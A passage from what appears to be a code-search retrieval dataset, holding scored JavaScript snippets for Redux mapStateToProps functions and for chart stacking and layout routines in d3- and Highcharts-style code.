{\n\n }\n}", "title": "" }, { "docid": "ac34e94fb5c177f249c31a733b68356c", "score": "0.65116435", "text": "function mapStateToProps({ data }) {\n return { data };\n}", "title": "" }, { "docid": "6b1a6ba2a276125dfb00a45b82679d17", "score": "0.65082407", "text": "function mapStateToProps (state) {\n return {\n value: state.fooCounter.count,\n todos: state.fooCounter.todos\n }\n}", "title": "" }, { "docid": "7bb082a1cbd4ed63b9930719eb242280", "score": "0.65075547", "text": "function mapStateToProps(store) {\n return {\n\n };\n}", "title": "" }, { "docid": "e88a4bc2a68399befd41c7f018c71972", "score": "0.65055245", "text": "function mapStateToProps(state) {\n const props = {\n shorts: state.shorts,\n }\n return props\n}", "title": "" }, { "docid": "7b1f707529ea9b4ba395c9d362f743cb", "score": "0.6503956", "text": "function mapStateToProps(state) {\n return {\n text: state.text,\n isLoading: state.isLoading,\n tags: state.tags,\n countries: state.countries,\n };\n}", "title": "" }, { "docid": "248fa52f57b156a1969f6e03efb13a54", "score": "0.6501292", "text": "function mapStateToProps(state, ownProps) {\n return {\n courses: state.courses, // connected to label in root reducer\n authors: state.authors,\n };\n}", "title": "" }, { "docid": "8a0f9952bc4c7265474447099212d99a", "score": "0.64990133", "text": "function mapStateToProps(state) {\n return {}\n}", "title": "" }, { "docid": "58275fc2bafd44ff1867552c2c2b000f", "score": "0.6495179", "text": "function mapStateToProps(state) {\n return {\n // propName: state value\n counter: state.counter\n }\n}", "title": "" }, { "docid": "1ce6912f93175f785e0aa0b6ffe4c66f", "score": "0.6490154", "text": "function mapStateToProps(state) {\r\n return;\r\n}", "title": "" }, { "docid": "9299c69a3948cfbe231699b220a8a497", "score": "0.6489733", "text": "function mapStateToProps(state, props) {\n return {};\n}", "title": "" }, { "docid": "a04a7e2e7922b9b7b326f20bbbd7fd3b", "score": "0.6487024", "text": "function mapStateToProps(state){\nreturn {\n currentValue: state.currentValue,\n futureValues: state.futureValues,\n previousValues: state.previousValues\n }\n}", "title": "" }, { "docid": "4b7cee0525aca2aca9540cc88d1a5080", "score": "0.64868313", "text": "function mapStateToProps(state, ownProps) {\n return {\n loc: ownProps.loc\n };\n}", "title": "" }, { "docid": "b7d0479dc56453b47b8b5a5ebe803e65", "score": "0.64867496", "text": "function mapStateToProps(state) {\n \n return {\n \n };\n}", "title": "" }, { "docid": "37023d37c66f0057b819d10bcbb8df5e", "score": "0.64855945", "text": "function mapStateToProps(state) {\n return {\n \n }\n}", "title": "" }, { "docid": "4d5d2eaf8e355fe75b3311771ce8ffde", "score": "0.64841753", "text": "function mapStateToProps (state, ownProps) {\n return {\n id: state.id,\n products: state.count\n }\n}", "title": "" } ]
1d7d92184c5c4db521680aa04b7ee89f
TODO: Add capability to derivation to create sources. Recompute positions of stacked items and remove any whitespace that may occur due to dataset removal.
[ { "docid": "a7246d8d295525ba81d931ede0222d5c", "score": "0.5618482", "text": "function addStackedData(g, sources) {\n var dataSources = [{\n id: 'stacks',\n // Compute list of ids denoting * - inactive\n // in terms of the original and not the derived sources.\n // TODO: Remove this in favor of set operation to subtract\n sources: function(resolve) {\n var star = resolve(sources.join(',')),\n inactive = resolve('inactive').map(function(id) {\n return id.substring(0, id.length - 6);\n });\n inactive.forEach(function(id) {\n var position = star.indexOf(id);\n if (position >= 0) {\n star.splice(position, 1);\n }\n });\n return star.join(',');\n },\n derivation: function(sources) {\n if (sources) {\n return sources.stack().all();\n } else {\n return [];\n }\n }\n }];\n g.data().add(dataSources);\n }", "title": "" } ]
[ { "docid": "bc2b9dcf329134578f2afa72d9c353d3", "score": "0.56309956", "text": "resetStacks() {\n objectEach(this.stacks, (type) => {\n objectEach(type, (stack, x) => {\n // Clean up memory after point deletion (#1044, #4320)\n if (isNumber(stack.touched) &&\n stack.touched < this.stacksTouched) {\n stack.destroy();\n delete type[x];\n // Reset stacks\n }\n else {\n stack.total = null;\n stack.cumulative = null;\n }\n });\n });\n }", "title": "" }, { "docid": "16c282015c56cdedc7efd442d65ab30d", "score": "0.554261", "text": "buildStacks() {\n const stacking = this;\n const axis = stacking.axis;\n const axisSeries = axis.series;\n const reversedStacks = axis.options.reversedStacks;\n const len = axisSeries.length;\n let actualSeries, i;\n stacking.usePercentage = false;\n i = len;\n while (i--) {\n actualSeries = axisSeries[reversedStacks ? i : len - i - 1];\n actualSeries.setStackedPoints();\n actualSeries.setGroupedPoints();\n }\n // Loop up again to compute percent and stream stack\n for (i = 0; i < len; i++) {\n axisSeries[i].modifyStacks();\n }\n fireEvent(axis, 'afterBuildStacks');\n }", "title": "" }, { "docid": "a1a803368ccc26f0120b36431102a631", "score": "0.54610616", "text": "function resetData(){\n\t\tprePosition.clear();\n\t\tnodeData.forEach(function(d){\n\t\t\tprePosition.set(d.id, {\n\t\t\t\tx : d.x,\n\t\t\t\ty : d.y,\n\t\t\t})\n\t\t})\n\t}", "title": "" }, { "docid": "521e06e78775cb1f84c8ae5a93068eba", "score": "0.5458053", "text": "onDataSet(data) {\n if (!this.hasProps || !(data === null || data === void 0 ? void 0 : data.source) || !data.source.length) {\n return;\n }\n const source = data.source.filter(s => !isGrouping(s));\n const expanded = this.revogrid.grouping || {};\n const { sourceWithGroups, depth, trimmed, oldNewIndexMap, childrenByGroup } = gatherGrouping(source, \n // filter\n item => { var _a; return (_a = this.options) === null || _a === void 0 ? void 0 : _a.props.map(key => item[key]); }, Object.assign({}, (expanded || {})));\n data.source = sourceWithGroups;\n this.providers.dataProvider.setGrouping({ depth });\n this.updateTrimmed(trimmed, childrenByGroup, oldNewIndexMap);\n }", "title": "" }, { "docid": "3a99b6e73fec6d99aae10ff922d4cd4e", "score": "0.5412136", "text": "ssrHydrationPrep() {\n this.nodesToKeep = [];\n\n this.ssrKeep.forEach(item => {\n while (item.firstChild) {\n this.nodesToKeep.push(item.firstChild); // track the nodes that will be preserved\n this.appendChild(item.firstChild);\n }\n });\n\n // Remove all children not in the \"keep\" array\n Array.from(this.children)\n .filter(item => !this.nodesToKeep.includes(item))\n .forEach(node => {\n node.parentElement.removeChild(node);\n });\n\n this.ssrPrepped = true;\n }", "title": "" }, { "docid": "f0f6c9dd8b2558cffc0981813deec542", "score": "0.52900964", "text": "function optimizeDataflow(dataComponent) {\n var roots = util_1.vals(dataComponent.sources);\n roots.forEach(removeUnnecessaryNodes);\n // remove source nodes that don't have any children because they also don't have output nodes\n roots = roots.filter(function (r) { return r.numChildren() > 0; });\n getLeaves(roots).forEach(optimizers.iterateFromLeaves(optimizers.removeUnusedSubtrees));\n roots = roots.filter(function (r) { return r.numChildren() > 0; });\n getLeaves(roots).forEach(optimizers.iterateFromLeaves(optimizers.moveParseUp));\n getLeaves(roots).forEach(optimizers.removeDuplicateTimeUnits);\n roots.forEach(moveFacetDown);\n util_1.keys(dataComponent.sources).forEach(function (s) {\n if (dataComponent.sources[s].numChildren() === 0) {\n delete dataComponent.sources[s];\n }\n });\n}", "title": "" }, { "docid": "d14e9b6e26c7a77a51f0529a3a90c521", "score": "0.5274012", "text": "function resetData() {\n points = [];\n normalizedPoints = [];\n if (pointGroup !== null) {\n pointGroup.removeChildren();\n }\n if (infoGroup !== null) {\n infoGroup.removeChildren();\n }\n }", "title": "" }, { "docid": "d1bdf38456acfb10ef32a3584aa8765c", "score": "0.5228955", "text": "doSourceUpdate(options) {\n if (!this.hasProps) {\n return;\n }\n /**\n * Get source without grouping\n * @param newOldIndexMap - provides us mapping with new indexes vs old indexes, we would use it for trimmed mapping\n */\n const { source, prevExpanded, oldNewIndexes } = this.getSource(true);\n /**\n * Group again\n * @param oldNewIndexMap - provides us mapping with new indexes vs old indexes\n */\n const { sourceWithGroups, depth, trimmed, oldNewIndexMap, childrenByGroup } = gatherGrouping(source, \n // filter\n item => { var _a; return (_a = this.options) === null || _a === void 0 ? void 0 : _a.props.map(key => item[key]); }, Object.assign({ prevExpanded }, options));\n // setup source\n this.providers.dataProvider.setData(sourceWithGroups, GROUPING_ROW_TYPE, { depth }, true);\n this.updateTrimmed(trimmed, childrenByGroup, oldNewIndexes, oldNewIndexMap);\n }", "title": "" }, { "docid": "7a43aa4044d92e19571fd71357460002", "score": "0.51741797", "text": "function seriesModifyStacks() {\n const series = this, yAxis = series.yAxis, stackKey = series.stackKey, stacks = yAxis.stacking.stacks, processedXData = series.processedXData, stacking = series.options.stacking, stacker = series[stacking + 'Stacker'];\n let stackIndicator;\n if (stacker) { // Modifier function exists (Series.percentStacker etc.)\n [stackKey, '-' + stackKey].forEach((key) => {\n let i = processedXData.length, x, stack, pointExtremes;\n while (i--) {\n x = processedXData[i];\n stackIndicator = series.getStackIndicator(stackIndicator, x, series.index, key);\n stack = stacks[key] && stacks[key][x];\n pointExtremes =\n stack && stack.points[stackIndicator.key];\n if (pointExtremes) {\n stacker.call(series, pointExtremes, stack, i);\n }\n }\n });\n }\n }", "title": "" }, { "docid": "2460b30f7804802c08987e6395069f6e", "score": "0.5138678", "text": "SeedForSrcAndTar() {\r\n let groMinLab = [];\r\n let groLab = [];\r\n let labCnt = 0;\r\n\r\n let groMinLabTar = [];\r\n let groLabTar = [];\r\n let labCntTar = 0;\r\n\r\n let paramLabelingBlob = {\r\n width: this.imgWidth,\r\n height: this.imgHeight,\r\n srcdata: this.src,\r\n data: undefined,\r\n label: this.srcLab,\r\n groupMinLab: groMinLab,\r\n groupLab: groLab,\r\n curLabCnt: labCnt\r\n };\r\n\r\n // Labeling Blobs for src\r\n LabelingBlobs(paramLabelingBlob);\r\n\r\n let paramLabelingBlobTar = {\r\n width: this.imgWidth,\r\n height: this.imgHeight,\r\n srcdata: this.tar,\r\n data: undefined,\r\n label: this.tarLab,\r\n groupMinLab: groMinLabTar,\r\n groupLab: groLabTar,\r\n curLabCnt: labCntTar\r\n };\r\n\r\n LabelingBlobs(paramLabelingBlobTar);\r\n\r\n //\r\n let finalGroupSrcCnt = 0;\r\n let finalGroupTarCnt = 0;\r\n\r\n for (let i = 0; i < paramLabelingBlob.groupMinLab.length; i++) {\r\n if ((paramLabelingBlob.groupMinLab[i] + 1) > finalGroupSrcCnt) {\r\n finalGroupSrcCnt = (paramLabelingBlob.groupMinLab[i] + 1);\r\n }\r\n }\r\n // console.log(paramLabelingBlob)\r\n\r\n for (let i = 0; i < paramLabelingBlobTar.groupMinLab.length; i++) {\r\n if ((paramLabelingBlobTar.groupMinLab[i] + 1) > finalGroupTarCnt) {\r\n finalGroupTarCnt = (paramLabelingBlobTar.groupMinLab[i] + 1);\r\n }\r\n }\r\n\r\n // 0: index\r\n // 1: highest density value\r\n // 2: sum density value\r\n // 3: minx\r\n // 4: maxx\r\n // 5: miny\r\n // 6: maxy\r\n let highestPixelInfoSrc = new Array(finalGroupSrcCnt * 8);\r\n let highestPixelInfoTar = new Array(finalGroupTarCnt * 8);\r\n\r\n // First: Index; Second: Value\r\n for (let i = 0; i < finalGroupSrcCnt; i++) {\r\n highestPixelInfoSrc[i * 8] = 0;\r\n highestPixelInfoSrc[i * 8 + 1] = 0;\r\n highestPixelInfoSrc[i * 8 + 2] = 0;\r\n highestPixelInfoSrc[i * 8 + 3] = this.imgWidth;\r\n highestPixelInfoSrc[i * 8 + 4] = 0;\r\n highestPixelInfoSrc[i * 8 + 5] = this.imgHeight;\r\n highestPixelInfoSrc[i * 8 + 6] = 0;\r\n highestPixelInfoSrc[i * 8 + 7] = undefined;\r\n }\r\n\r\n for (let i = 0; i < finalGroupTarCnt; i++) {\r\n highestPixelInfoTar[i * 8] = 0;\r\n highestPixelInfoTar[i * 8 + 1] = 0;\r\n highestPixelInfoTar[i * 8 + 2] = 0;\r\n highestPixelInfoTar[i * 8 + 3] = this.imgWidth;\r\n highestPixelInfoTar[i * 8 + 4] = 0;\r\n highestPixelInfoTar[i * 8 + 5] = this.imgHeight;\r\n highestPixelInfoTar[i * 8 + 6] = 0;\r\n highestPixelInfoTar[i * 8 + 7] = undefined;\r\n\r\n }\r\n\r\n let index = 0;\r\n for (let i = 0; i < this.imgHeight; i++)\r\n for (let j = 0; j < this.imgWidth; j++) {\r\n if (paramLabelingBlob.label[index] >= 0) {\r\n if (j < highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 3])\r\n highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 3] = j;\r\n if (j > highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 4])\r\n highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 4] = j;\r\n if (i < highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 5])\r\n highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 5] = i;\r\n if (i > highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 6])\r\n highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 6] = i;\r\n\r\n if (highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 1] < src[index]) {\r\n highestPixelInfoSrc[paramLabelingBlob.label[index] * 8] = index;\r\n highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 1] = src[index];\r\n }\r\n\r\n if (src[index] > 0.4)\r\n highestPixelInfoSrc[paramLabelingBlob.label[index] * 8 + 2] += 1; //src[index];\r\n }\r\n\r\n if (paramLabelingBlobTar.label[index] >= 0) {\r\n if (j < highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 3])\r\n highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 3] = j;\r\n if (j > highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 4])\r\n highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 4] = j;\r\n if (i < highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 5])\r\n highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 5] = i;\r\n if (i > highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 6])\r\n highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 6] = i;\r\n\r\n if (highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 1] < this.tar[index]) {\r\n highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8] = index;\r\n highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 1] = this.tar[index];\r\n }\r\n\r\n if (tar[index] > 0.4)\r\n highestPixelInfoTar[paramLabelingBlobTar.label[index] * 8 + 2] += 1; //tar[index];\r\n }\r\n index++;\r\n }\r\n\r\n // Highest pixels from src to tar\r\n for (let i = 0; i < finalGroupSrcCnt; i++) {\r\n this.tar[highestPixelInfoSrc[i * 8]] = highestPixelInfoSrc[i * 8 + 1];\r\n }\r\n // console.log(highestPixelInfoSrc)\r\n // Highest pixels from tar to src\r\n for (let i = 0; i < finalGroupTarCnt; i++) {\r\n this.src[highestPixelInfoTar[i * 8]] = highestPixelInfoTar[i * 8 + 1];\r\n }\r\n }", "title": "" }, { "docid": "12f6e643f787460f11b334c8897c640c", "score": "0.51313883", "text": "_prepareItems(data) {\n // Initialize containers.\n const talents = [];\n\n // Iterate through items, allocating to containers\n for (let i of data.items) {\n let item = i.data;\n // Append to gear.\n if (i.type === 'talent') {\n talents.push(i);\n }\n }\n\n // Assign and return\n data.talents = talents;\n\n const agendas = [];\n\n // Iterate through items, allocating to containers\n for (let i of data.items) {\n let item = i.data;\n // Append to gear.\n if (i.type === 'agenda') {\n agendas.push(i);\n }\n }\n\n // Assign and return\n data.agendas = agendas;\n\n // Categorize items as inventory, spellbook, features, and classes\n const inventory = {\n weapon: { label: 'Weapons', items: [], dataset: { type: 'weapon' } },\n item: { label: 'Items', items: [], dataset: { type: 'item' } },\n armor: { label: 'Armor', items: [], dataset: { type: 'armor' } },\n };\n // Partition items by category\n let [items, spells, feats, classes, talent] = data.items.reduce(\n (arr, item) => {\n // Item details\n item.img = item.img || DEFAULT_TOKEN;\n item.isStack = item.data.quantity ? item.data.quantity > 1 : false;\n\n // Classify items into types\n // console.log('alienrpgActorSheet -> _prepareItems -> item', item);\n // if (item.type === 'talent') arr[1].push(item);\n // else if (item.type === 'feat') arr[2].push(item);\n // else if (item.type === 'feature') arr[3].push(item);\n if (Object.keys(inventory).includes(item.type)) arr[0].push(item);\n return arr;\n },\n [[], [], [], []]\n );\n\n // Apply active item filters\n items = this._filterItems(items, this._filters.inventory);\n\n // Organize Inventory\n let totalWeight = 0;\n for (let i of items) {\n if (i.type == 'weapon') {\n // console.log('alienrpgActorSheet -> Organize Inventory', i);\n let ammoweight = 0.25;\n if (i.data.attributes.class.value == 'RPG' || i.name.includes(' RPG ') || i.name.startsWith('RPG') || i.name.endsWith('RPG')) {\n ammoweight = 0.5;\n }\n\n i.data.attributes.weight.value = i.data.attributes.weight.value || 0;\n i.totalWeight = i.data.attributes.weight.value + i.data.attributes.rounds.value * ammoweight;\n inventory[i.type].items.push(i);\n\n totalWeight += i.totalWeight;\n } else if (i.type != 'talent') {\n i.data.attributes.weight.value = i.data.attributes.weight.value || 0;\n i.totalWeight = i.data.attributes.weight.value;\n inventory[i.type].items.push(i);\n totalWeight += i.totalWeight;\n }\n }\n\n data.data.general.encumbrance = this._computeEncumbrance(totalWeight, data);\n // this._computeHealth(data);\n // Assign and return\n data.inventory = Object.values(inventory);\n }", "title": "" }, { "docid": "8cf3402decd5186cc1ce3cf1f3c62993", "score": "0.5119833", "text": "repositionX() {\n // should be implemented by the item\n }", "title": "" }, { "docid": "07152279a5921738808a742469592ca0", "score": "0.51073855", "text": "function resetFlowchartTooltips() {\n // Clear any existing d3-tip divs\n d3.selectAll(\".d3-tip\").remove();\n // Call the function on the flowchart svg again to add a new (default hidden) d3-tip div\n flowChart.svg.call(flowChart.tip);\n}", "title": "" }, { "docid": "ef0d7c804a0762d5a3c4d1d571d65188", "score": "0.5102389", "text": "function assembleData(dataCompomponent) {\n var roots = util_1.vals(dataCompomponent.sources);\n var data = [];\n roots.forEach(removeUnnecessaryNodes);\n // remove source nodes that don't have any children because they also don't have output nodes\n roots = roots.filter(function (r) { return r.numChildren() > 0; });\n getLeaves(roots).forEach(optimizers_1.iterateFromLeaves(optimizers.removeUnusedSubtrees));\n roots = roots.filter(function (r) { return r.numChildren() > 0; });\n getLeaves(roots).forEach(optimizers_1.iterateFromLeaves(optimizers.moveParseUp));\n roots.forEach(moveFacetDown);\n // roots.forEach(debug);\n var walkTree = makeWalkTree(data);\n var sourceIndex = 0;\n roots.forEach(function (root) {\n // assign a name if the source does not have a name yet\n if (!root.hasName()) {\n root.dataName = \"source_\" + sourceIndex++;\n }\n var newData = root.assemble();\n walkTree(root, newData);\n });\n // remove empty transform arrays for cleaner output\n data.forEach(function (d) {\n if (d.transform.length === 0) {\n delete d.transform;\n }\n });\n // move sources without transforms (the ones that are potentially used in lookups) to the beginning\n data.sort(function (a, b) { return (a.transform || []).length === 0 ? -1 : ((b.transform || []).length === 0 ? 1 : 0); });\n // now fix the from references in lookup transforms\n for (var _i = 0, data_2 = data; _i < data_2.length; _i++) {\n var d = data_2[_i];\n for (var _a = 0, _b = d.transform || []; _a < _b.length; _a++) {\n var t = _b[_a];\n if (t.type === 'lookup') {\n t.from = dataCompomponent.outputNodes[t.from].source;\n }\n }\n }\n return data;\n}", "title": "" }, { "docid": "3ac5e563aa300aa625850b5d3a45f0d2", "score": "0.5046708", "text": "resetItems() {\n // Remove refs to current items.\n this._disposeItems(this.items);\n this.isInitialized = false;\n\n // Find new items in the DOM.\n this.items = this._getItems();\n\n // Set initial styles on the new items.\n this._initItems(this.items);\n\n this.once(Shuffle.EventType.LAYOUT, () => {\n // Add transition to each item.\n this.setItemTransitions(this.items);\n this.isInitialized = true;\n });\n\n // Lay out all items.\n this.filter(this.lastFilter);\n }", "title": "" }, { "docid": "fc6e21a8b4fc229b2b983360937a068f", "score": "0.5030189", "text": "function augment(trace) {\n\tlet ts = ''; let path;\n\tif (trace) {\n\t\tlet p = trees.findpath(g.source); let s = '';\n\t\tfor (let u = trees.first(p); u; u = trees.next(u)) {\n\t\t\tif (s) s += ' ';\n\t\t\ts += g.x2s(u);\n\t\t\tif (trees.next(u)) s += ':' + trees.cost(u);\n\t\t}\n\t\tts += s;\n\t}\n\n\t// effectively saturate source/sink path by adjusting costs\n\tlet [u,rcap] = trees.findcost(g.source);\n\ttrees.addcost(g.source, -rcap);\n\n\t// now, remove tree edges with zero residual capacity\n\t// and saturate corresponding flow graph edges\n\tlet c; [u,c] = trees.findcost(g.source);\n\twhile (c == 0) {\n\t\tsteps++;\n\t\tlet e = upEdge[u]; \n\t\tif (e) { prune(u); nextEdge[u] = g.nextAt(u, e); }\n\t\t[u,c] = trees.findcost(g.source);\n\t}\n\treturn [rcap, ts];\n}", "title": "" }, { "docid": "6cc66f88e06223ce04a85acd9d1978e8", "score": "0.50130117", "text": "propagate_data() {\n Object.assign(this.data, this.style.data);\n for (let n of this.content) {\n n.data = {};\n Object.assign(n.data, this.data);\n n.propagate_data();\n }\n }", "title": "" }, { "docid": "ef5faddb9ec90d3ecc8bacccac05da95", "score": "0.5004317", "text": "_moveSeriesToFrontAll() {\n const len = this.groupPaths ? this.groupPaths.length : 0;\n for (let i = 0; i < len; i += 1) {\n this.moveSeriesToFront(this.groupAreas[i], this.groupDots[i]);\n }\n }", "title": "" }, { "docid": "615ad92892a405d3245a4b4fa0d396c3", "score": "0.4998873", "text": "function cleanDataPointHighlights() {\n verticalMarkerContainer.selectAll('.circle-container').remove();\n }", "title": "" }, { "docid": "64ee121332fa07165c778c4859b8eb4f", "score": "0.4994484", "text": "removeFront() {\n this._targets.splice(0, 1);\n }", "title": "" }, { "docid": "6ef4f577945f912019bd21fcb033afd4", "score": "0.4993363", "text": "function drawSdrStack() {\n $stack.html('');\n _.each(sdrStack, function(sdr, i) {\n var sdrId = 'sdr-' + i;\n $stack.prepend(\n '<div class=\"row sdr\">'\n + '<div class=\"col-md-10 plot\" id=\"' + sdrId + '\"></div>'\n + '<div class=\"col-md-2 overlap\"></div>'\n + '</div>'\n );\n SDR.draw(getFirstElements(sdr, maxBitDisplay), sdrId, {\n spartan: true,\n size: bitSize,\n stretch: bitStretch,\n line: true,\n slide: i == sdrStack.length - 1\n });\n });\n }", "title": "" }, { "docid": "c1c4644a35ac8e0341d8c89ac463868c", "score": "0.4981742", "text": "animateBeforeDestroy() {\n const point = this, animateParams = { x: point.startXPos, opacity: 0 }, graphicalProps = point.getGraphicalProps();\n graphicalProps.singular.forEach(function (prop) {\n const isDataLabel = prop === 'dataLabel';\n point[prop] = point[prop].animate(isDataLabel ? {\n x: point[prop].startXPos,\n y: point[prop].startYPos,\n opacity: 0\n } : animateParams);\n });\n graphicalProps.plural.forEach(function (plural) {\n point[plural].forEach(function (item) {\n if (item.element) {\n item.animate(extend({ x: point.startXPos }, (item.startYPos ? {\n x: item.startXPos,\n y: item.startYPos\n } : {})));\n }\n });\n });\n }", "title": "" }, { "docid": "7ccdbbd4ef1777cd54c59b3bca48d46d", "score": "0.49335036", "text": "_shoveTarget (data, script) {\n if (Array.isArray(data)) {\n script.destroy()\n } else if (data.indices) {\n const { workspace, parent, component, index } = getComponentFromIndices(data.indices)\n if (component instanceof Input) {\n let undoEntry\n const oldValue = component.getValue()\n if (oldValue instanceof Block) {\n // NOTE: Scratch puts it on the right of the script, vertically\n // in the middle. (That is not done here)\n const offset = inputRenderOptions.popOutOffset\n const { x, y } = oldValue.getWorkspaceOffset()\n undoEntry = {\n type: 'transfer',\n a: {\n indices: getIndicesOf(oldValue)\n },\n b: {\n workspace,\n index: workspace.scripts.length,\n x: x + offset,\n y: y + offset\n }\n }\n // This is a separate step, but it shall be grouped with this step.\n this._executeEntry(undoEntry)\n }\n component.insertBlock(script.components[0])\n component.resize()\n // Destroy the rest of the blocks in case the reporter\n // had blocks connected to it. This is not undoable because this\n // is not intended to happen.\n if (script.components.length) {\n script.destroy()\n }\n return undoEntry && [undoEntry]\n } else {\n // Shift target script\n const { dx = 0, dy = 0 } = data\n const { x, y } = parent.position\n parent.setPosition(x + dx, y + dy)\n const firstBlock = script.components[0]\n // Inserts all of the blocks in the carrier script into the target\n // stack\n let i = 0\n while (script.components.length) {\n const block = script.components[0]\n script.remove(block)\n parent.add(block, index + i)\n i++\n }\n const prom = Promise.resolve().then(() => parent.resize())\n if (data.branchAround) {\n const branch = firstBlock.getParamComponent(data.branchAround)\n // Insert all the blocks after the insert point that were already in the\n // target stack in the branch block\n while (parent.components[index + i]) {\n branch.add(parent.components[index + i])\n }\n // Ensure that the parent's other children are measured first\n prom.then(() => branch.resize())\n }\n }\n } else if (data.workspace) {\n script.setPosition(data.x, data.y)\n data.workspace.add(script, data.index)\n } else {\n throw new Error('wucky: Given `data` no make sense!')\n }\n }", "title": "" }, { "docid": "98db522cea65b68d60923c0a47bc9e7b", "score": "0.49323058", "text": "_moveToSource() {\n this._clearBoth();\n this.sourceContainer.insertAdjacentHTML('beforeend', this.content);\n if (this.settings.afterMove) {\n this.settings.afterMove(this.currentPlacement);\n }\n }", "title": "" }, { "docid": "fc133fcba9b76131eddc7e91d5509042", "score": "0.49295315", "text": "function scaleItems() {\n if (rescale) {\n d3.select('g.tree-node').selectAll('tmp')\n .data(items).enter()\n .append('text')\n .text(function (d) {\n return d;\n })\n .style(style.text)\n .attr('x', -1000)\n .attr('y', -1000)\n .attr('class', 'tmp');\n var z = d3.selectAll('.tmp')[0]\n .map(function (x) {\n return x.getBBox();\n });\n width = d3.max(z.map(function (x) {\n return x.width;\n }));\n margin = margin * width;\n width = width + 2 * margin;\n height = d3.max(z.map(function (x) {\n return x.height + margin / 2;\n }));\n // cleanup\n d3.selectAll('.tmp').remove();\n rescale = false;\n }\n }", "title": "" }, { "docid": "bc0dcbe779a19de93a229ceaa6cdc5f6", "score": "0.49122435", "text": "function clearStack() {\n myEl.textContent = '';\n stackItems = [];\n }", "title": "" }, { "docid": "f65ef512c9d3f77c9d1406f2081991f2", "score": "0.49031976", "text": "function scaleItems() {\n if (rescale) {\n d3.select('svg').selectAll('tmp')\n .data(items).enter()\n .append('text')\n .text(function(d){ return d.title; })\n .style(style.text)\n .attr('x', -1000)\n .attr('y', -1000)\n .attr('class', 'tmp');\n \n var z = d3.selectAll('.tmp')[0]\n .map(function(x){ return x.getBBox(); });\n width = d3.max(z.map(function(x){ return x.width; }));\n margin = margin * width;\n width = (width + 2 * margin) < 100 ? 100 : (width + 2 * margin);\n height = d3.max(z.map(function(x){ return x.height+ 15 + margin / 2; }));\n // cleanup\n d3.selectAll('.tmp').remove();\n rescale = false;\n }\n }", "title": "" }, { "docid": "fc22e66bad6c92991d60f3b1e6199145", "score": "0.48990276", "text": "getSource(withoutGrouping = false) {\n const source = this.store.get('source');\n const items = this.store.get('proxyItems');\n let index = 0;\n // order important here, expected parent is first, then others\n return items.reduce((result, i) => {\n const model = source[i];\n if (!withoutGrouping) {\n result.source.push(model);\n return result;\n }\n // grouping filter\n if (!isGrouping(model)) {\n result.source.push(model);\n result.oldNewIndexes[i] = index;\n index++;\n }\n else {\n if (model[GROUP_EXPANDED]) {\n result.prevExpanded[model[PSEUDO_GROUP_ITEM_VALUE]] = true;\n }\n }\n return result;\n }, {\n source: [],\n prevExpanded: {},\n oldNewIndexes: {},\n });\n }", "title": "" }, { "docid": "a5a55f658669f7f4fddc992d56d96304", "score": "0.48895815", "text": "shiftUp() {\n const source = this.memory.slice()\n this.memory.forEach((value, offset) => {\n this.drawPixel(offset, source[(offset + this.width) % this.size])\n })\n }", "title": "" }, { "docid": "57333c4e400d0e3c4ba5ddb5199fadcc", "score": "0.4858874", "text": "function preparePointData() {\n chart.ctColumnTooltips.oldPoints = [];\n for (var i = 0; i < chart.data.series.length; i++) {\n chart.ctColumnTooltips.oldPoints[i] = [];\n }\n }", "title": "" }, { "docid": "647d1d1c5ec3c29de5994f7f2720527a", "score": "0.48578352", "text": "function scaleItems() {\n if (rescale) {\n d3.select('svg').selectAll('tmp')\n .data(items).enter()\n .append('text')\n .text(function(d){ return d; })\n .style(style.text)\n .attr('x', -1000)\n .attr('y', -1000)\n .attr('class', 'tmp');\n var z = d3.selectAll('.tmp')[0]\n .map(function(x){ return x.getBBox(); });\n width = d3.max(z.map(function(x){ return x.width; }));\n margin = margin * width;\n width = width + 2 * margin;\n height = d3.max(z.map(function(x){ return x.height + margin / 2; }));\n \n // cleanup\n d3.selectAll('.tmp').remove();\n rescale = false;\n }\n }", "title": "" }, { "docid": "4322a9be1a03c13c6d92d73b1be2c034", "score": "0.4849353", "text": "function pusht() {\n\n stack.push(transform);\n}", "title": "" }, { "docid": "75731bf7fabc1ad5464f847decc12fc0", "score": "0.48436496", "text": "resetPipes() {\n this.sprites['pipes'].splice(0, this.sprites['pipes'].length);\n }", "title": "" }, { "docid": "2ff57742ac94a27c0407e7d2a08ee02c", "score": "0.48432025", "text": "_reset(){\n this._startPosition();\n for(let i=this.body.length-1;i>0;i--)\n if(i>=this.startLength){\n this.body[i].parentNode.removeChild(this.body[i]);\n this.body.pop();\n }\n else{\n this.body[i].style.top=\"0px\";\n this.body[i].style.left=`${this.head.offsetLeft-i*15}px`;\n }\n }", "title": "" }, { "docid": "e5a9d01ee8d8f5fda7f628bb1eab2382", "score": "0.48397687", "text": "function createSet() {\n const newSet = curSet + 1;\n for (const key of Object.keys(performerData)) {\n if (key == \"title\") continue;\n performerData[key].sets.splice(newSet, 0, Object.assign(performerData[key].sets[curSet]));\n // performerData[key].sets[newSet] = Object.assign(performerData[key].sets[curSet]);\n }\n numSets++;\n curSet++;\n refreshSetDisplay();\n // nextSet();\n }", "title": "" }, { "docid": "c471d770c0fe8a956244c4a7d6f5c764", "score": "0.48358056", "text": "renderStackTotals() {\n const yAxis = this.axis, waterfallStacks = yAxis.waterfall.stacks, stackTotalGroup = (yAxis.stacking && yAxis.stacking.stackTotalGroup), dummyStackItem = new StackItem(yAxis, 